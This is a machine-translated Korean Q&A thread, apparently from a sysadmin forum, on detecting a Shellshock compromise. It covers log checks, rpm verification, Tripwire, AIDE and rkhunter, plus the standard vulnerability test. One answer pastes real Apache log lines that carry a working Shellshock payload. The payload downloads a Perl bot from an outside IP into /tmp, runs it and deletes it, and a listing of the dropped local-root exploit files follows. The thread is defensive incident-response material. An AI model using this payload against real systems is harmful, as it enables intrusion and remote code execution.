답변:
Shellshock 버그로 인해 서버가 이미 손상되었는지 어떻게 알 수 있습니까?
당신은하지 않습니다. 이것이 보안 취약점의 아이디어입니다. 크래커 허용 을 클릭해야 합니까? 확인 / 취소 취약점이 크지 않습니다.
공격 경로의 로그를 확인하는 것이 운이 좋을 수 있지만, 많은 서비스가 취약하고 모든 서비스가 모든 액세스를 기록하는 것은 아니라는 점을 감안할 때 결정적으로 공격을 찾을 수는 없습니다.
손상된 경우 악성 파일을 찾아야하는 특정 폴더가 있습니까?
아니요, 악성 파일은 어디에나있을 수 있습니다.
일반적인 루트킷은 자신을 설치 /root
하거나 /
또는 /tmp
나 바이너리 경로 중 하나지만 정말 그들은 어느 곳이 될 수 있습니다. 실제 서비스 와 비슷한 이름이 있거나 " IPTables
"또는 " kernel-bin
" 처럼 보이는 "중요한" 이름이 있을 수 있지만 임의의 문자열이거나 다른 이름의 진 이진 파일과 같은 이름 일 수도 있습니다. /etc/rc.local
를 통해 연결 또는 연결을 통해 확실한 루트킷을 발견 할 수 있습니다 netstat -neopa
. 에서 의심스러운 프로세스 이름을 찾으십시오 top -c
.
덜 일반적이고 찾기 어려운 루트킷은 라이브러리를 대체하거나 자체를 shim 라이브러리로로드하고 시스템 호출을 인터셉트합니다. 시스템에서 실행되는 모든 단일 항목을 추적 / 추적하고 알려진 정상 시스템 또는 소스 코드의 예상 동작과 동작을 비교하지 않으면 찾기가 거의 불가능합니다.
시스템을 새로 고침하는 것이 더 빠르고 쉽고 빠르다.
악성 파일은 어떻게 생겼습니까?
다른 일반 ELF 바이너리 또는 라이브러리와 유사합니다. 스크립트 일 수도 있습니다.
결론적으로 시스템이 손상되었을 가능성이 있다고 생각되면 시스템이 손상된 것처럼 처리하고 필요한 조치를 취하십시오.
bash
설치된 모든 시스템 과 네트워크 케이블이 연결되어 있음을 의미합니다 .
shellshock는 웜이 아니므로 찾을 파일이 없습니다. Shellshock은 네트워크를 공격하여 진입합니다. 일단 침입자는 공격자가 무엇을하는지 알고 있습니다.
is there a particular folder where I should look for malicious files
.
suprjami의 답변을 에코하고 시스템이 취약한 경우 손상된 것으로 취급해야한다고 말합니다.
아파치를 실행하는 경우 다음 명령을 사용하여 Shellshock 침입 시도에 대한 로그를 확인할 수 있습니다.
[root@server ~]# grep cgi /var/log/httpd/access*|egrep "};|}\s*;"
이 명령은 Apache의 액세스 로그 (기본적으로 access_log, access_log.1, access_log.2 등)에서 "cgi"를 포함하는 모든 행을 추출한 다음 정규식을 사용하여 egrep에 파이프합니다.
(출처 : http://linux.slashdot.org/story/14/09/24/1638207/remote-exploit-vulnerability-found-in-bash )
Shellshock에는 여러 가지 공격 경로가 있지만 그 중 일부는 아직 일반 대중에게 알려지지 않았거나 사용자 지정 CGI 스크립트에 의해 발생하기 때문에 손상 여부를 알 수있는 확실한 방법은 없습니다.
일반적으로 "일부 시스템 파일이 변경되었거나 의심스러운 항목이 최근에 발생했는지 확인하십시오"접근 방식을 사용하여 서버 동작을 주시 할 수 있습니다.
netstat
이상한 네트워크 연결이나 보여 ps aux
당신이 인식하지 못하는 쇼 프로세스를?적절한 서버 상태 모니터링 (예 : 등 Zabbix
)이 있고 실행 중이면 보안 위반을 찾는 데 도움이 될 수 있습니다. 시스템 파일의 MD5 / SHA 합계를 알려진 양호한 백업과 비교할 수도 있습니다.
기본적으로 서버가 손상된 것처럼 행동하고 생각할 수있는 모든 것을 조사하십시오.
방금 손상된 오래된 Plesk 시스템을 정리하는 것이 즐거웠습니다. 그것을 제공 한 첫 번째 일은 수많은 포트를 청취하기 시작한 수많은 프로세스와 원래 스캔 서버에서 코드를 다운로드하려는 다른 프로세스였습니다.
lsof -i -n
...
perl 1899 user100 3u IPv4 227582583 0t0 TCP 87.106.215.123:49859->94.102.63.238:https (SYN_SENT)
perl 1999 user101 3u IPv4 227582597 0t0 TCP 87.106.215.123:49861->94.102.63.238:https (SYN_SENT)
perl 2016 wwwrun 3u IPv4 227549964 0t0 TCP 87.106.215.123:56263->94.102.63.238:https (ESTABLISHED)
...
로그를 따라 나는 궁극적 인 구멍이 cgi_wrapper
스크립트라는 것을 알았습니다. 시스템을 보호하고 보호 해야하는 것은 실제로 구멍을 보호에 찢는 것입니다. 다음은 프로브의 일부 로그 라인과 성공적인 공격입니다.
이들은 access_log의 행입니다. 이것은 샘플 일뿐입니다. 두 행의 200에서 200을 기록하고 다른 행은 404로 실패합니다. 404가있는 행에 대해서는 걱정할 필요가 없습니다. 그러나 200을 가진 사람들은 그러나했다. 이러한 공격의 패턴은 항상 동일합니다. 1. 취약한 cgi 스크립트 찾기 shellshock exploit을 사용하여 perl 스크립트를 다운로드하여 실행하고 perl 스크립트를 다시 삭제하십시오. 펄 스크립트는 실제로 일부 소스 파일 (tgz)을 다운로드하여 컴파일하고 실행합니다. 최소한 백도어 및 자동 업데이트 메커니즘을 포함하여 높은 실행 권한을 얻으려고 시도하는 익스플로잇처럼 보입니다. 모든 초기 스크립트는 실제로 랩퍼가 제공 한 사용자로 실행되지만 이후 서비스는 PPID 1 (루트 프로세스에서 시작)로 시작됩니다.
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
그리고 여기에 해당 error_log 줄이 있습니다.
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] --2014-09-28 00:41:03-- http://94.102.63.238/shell.pl
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] (17K)
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [text/x-perl]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 0K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 626K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 2014-09-28 00:41:03 (626 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 00:46:03 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 00:46:03 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] --2014-09-28 01:29:34-- http://94.102.63.238/shell.pl
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] (17K)
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [text/x-perl]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 0K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 575K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 2014-09-28 01:29:34 (575 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 01:34:34 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 01:34:34 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed
/ tmp에 다운로드 한 파일들 bot.pl 파일은 바로 삭제되므로 추측 할 수 없습니다.
-rwxr-xr-x 1 user100 psacln 187 Sep 29 01:02 check
-rwxr-xr-x 1 user100 psacln 9849 Sep 29 03:35 exploit
drwxr-xr-x 4 user100 psacln 4096 Sep 29 03:19 expls
-rw-r--r-- 1 user100 psacln 91693 Sep 29 03:13 expls.tgz
-rw-r--r-- 1 user100 psacln 178 Sep 29 03:35 payload.c
cd ./expls
drwxr-xr-x 2 user100 psacln 4096 Sep 29 03:13 1
drwxr-xr-x 2 user100 psacln 4096 Sep 29 03:13 2
-rwxr-xr-x 1 user100 psacln 23040 Sep 29 03:19 bcm
-rw-r--r-- 1 user100 psacln 15695 Sep 29 02:46 bcm.c
-rwxr-xr-x 1 user100 psacln 13175 Sep 29 03:19 bug
-rw-r--r-- 1 user100 psacln 2657 Sep 29 02:46 bug.c
-rwxr-xr-x 1 user100 psacln 14560 Sep 29 03:13 config
-rw-r--r-- 1 user100 psacln 6468 Sep 29 02:46 config.c
-rwxr-xr-x 1 user100 psacln 13866 Sep 29 03:13 config2
-rw-r--r-- 1 user100 psacln 6335 Sep 29 02:46 config2.c
-rw-r--r-- 1 user100 psacln 2736 Sep 29 02:46 data.c
-rw-r--r-- 1 user100 psacln 4221 Sep 29 02:46 diag.c
-rwxr-xr-x 1 user100 psacln 13698 Sep 29 03:19 expl
-rw-r--r-- 1 user100 psacln 1686 Sep 29 02:46 expl.c
-rw-r--r-- 1 user100 psacln 15013 Sep 29 02:46 half.c
-rwxr-xr-x 1 user100 psacln 18611 Sep 29 03:19 nellson
-rw-r--r-- 1 user100 psacln 9489 Sep 29 02:46 nellson.c
-rwxr-xr-x 1 user100 psacln 419 Sep 29 02:03 origin
-rw-r--r-- 1 user100 psacln 15727 Sep 29 02:46 pipe.c
-rwxr-xr-x 1 user100 psacln 13481 Sep 29 03:19 polkit
-rw-r--r-- 1 user100 psacln 3597 Sep 29 02:46 polkit.c
-rwxr-xr-x 1 user100 psacln 2741 Sep 29 01:51 preload
-rwxr-xr-x 1 user100 psacln 208 Sep 29 02:01 preload2
-rwxr-xr-x 1 user100 psacln 14257 Sep 29 03:13 rds
-rw-r--r-- 1 user100 psacln 7250 Sep 29 02:46 rds.c
-rwxr-xr-x 1 user100 psacln 233 Sep 29 03:13 run
-rwxr-xr-x 1 user100 psacln 17864 Sep 29 03:19 semtex
-rw-r--r-- 1 user100 psacln 3757 Sep 29 02:46 semtex.c
-rwxr-xr-x 1 user100 psacln 14023 Sep 29 03:13 semtex2
-rw-r--r-- 1 user100 psacln 4799 Sep 29 02:46 semtex2.c
-rwxr-xr-x 1 user100 psacln 17904 Sep 29 03:19 semtex3
-rw-r--r-- 1 user100 psacln 2691 Sep 29 02:46 semtex3.c
-rwxr-xr-x 1 user100 psacln 13014 Sep 29 03:19 shell
-rw-r--r-- 1 user100 psacln 159 Sep 29 02:46 shell.c
-rwxr-xr-x 1 user100 psacln 9157 Sep 29 03:13 sock
-rw-r--r-- 1 user100 psacln 2232 Sep 29 02:46 sock.c
-rwxr-xr-x 1 user100 psacln 438 Sep 29 03:13 start
-rwxr-xr-x 1 user100 psacln 18268 Sep 29 03:19 sys32
-rw-r--r-- 1 user100 psacln 5389 Sep 29 02:46 sys32.c
-rw-r--r-- 1 user100 psacln 25396 Sep 29 02:46 x86_64.c
잠시 후 나는 중국과 같은 다양한 곳에서 ssh 연결이 일반적으로 서버를 많이 방문하지 않는 것을 발견했습니다. 나는 bash를 비상 조치로 패치했다. (실제로 오래된 소스와 패치 파일뿐만 아니라 FSF 웹 사이트에서 패치 소스를 구할 수있어서 좋았을 것이다. 지금 닦으십시오. 공격에 대해 다른 사람을 찾고 있다면 물어볼 수는 있지만 곧 할 수 있습니다.
이 답변은 특히 Shellshock과 관련이 없지만 어떤 시스템에서도 타협 된 것으로 생각 될 수 있습니다
두 번째 참고 : 손상된 루트 시스템에서 복구 할 수 없습니다. 유일한 조치는 시스템을 파괴하고 다시 프로비저닝하는 것입니다
깨끗한 정적 빌드를 rpm
만들고 command를 실행하십시오 rpm --verify --all
. 패키지에 속하는 파일이 수정되었음을 알려줍니다. 그러나 손상된 시스템에서 시스템을 실행할 수 있으므로 결과를 완전히 신뢰할 수는 없습니다. 그런 다음 간단히 rpm -qa
패키지 목록을 가져오고 동일한 패키지 버전으로 다른 시스템을 재생성 한 다음 find / -type f |xargs -r -n 100 md5sum |sort
두 시스템 모두에서 다른 시스템을 재생성하여 차이점을 확인할 수 있습니다. 또한 시스템을 올바르게 관리하는 경우 (/ opt 또는 / usr / local / bin 또는 관리되지 않는 다른 장소에 수동으로 아무것도 설치하지 않음을 의미) 시스템에서 패키지에 속하지 않은 모든 파일을 검색 할 수 있습니다 find / -type f -exec rpm -qf {} \;
. 알 수없는 파일에 대한 오류를 표시해야합니다. 나는 당신이 운동으로 긍정적 인 것을 보여주지 않도록 ;-)
암호화 증명으로 정기적으로 동일한 작업을 수행하기 위해 Tripwire
여전히 무료 버전으로 제공되는 도구 가 있습니다. 오래되었지만 그 일을한다. 새로운 대안은입니다 AIDE
.하지만 몇 년 전에 보았을 때 암호를 사용하지 않았습니다.
도움이되는 몇 가지 도구가 있습니다. 예를 들어 package를 찾으십시오 rkhunter
. 알려진 루트 툴킷 및 악용 된 파일이 있는지 컴퓨터를 검사합니다.
분명히 이러한 도구는 시스템이 손상되기 전에 설치 및 구성되어야하며 시스템이 루트 액세스로 해킹 된 경우 이러한 도구를 대상으로 할 수도 있습니다. 또한 이러한 도구는 매우 집중적이고 시스템 속도를 저하시킬 수 있습니다.
서버가 손상되었는지 알 수있는 유일한 방법은 파일의 서명을 어딘가에두고 현재 파일을 비교하는 것입니다. 그럼에도 불구하고 당신은 당신이 취약한 지 알 수 있습니다.
다음 명령 (CSA에서 제공 한 코드)을 실행하여 취약한 지 확인할 수 있습니다. 터미널 창을 열고 $ 프롬프트에서 다음 명령을 입력하십시오.
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash가 최신이 아닌 경우 다음과 같이 인쇄됩니다.
vulnerable
this is a test
bash가 최신 상태이면 다음 만 표시됩니다.
this is a test
자세한 내용은이 링크 뒤에 있습니다 .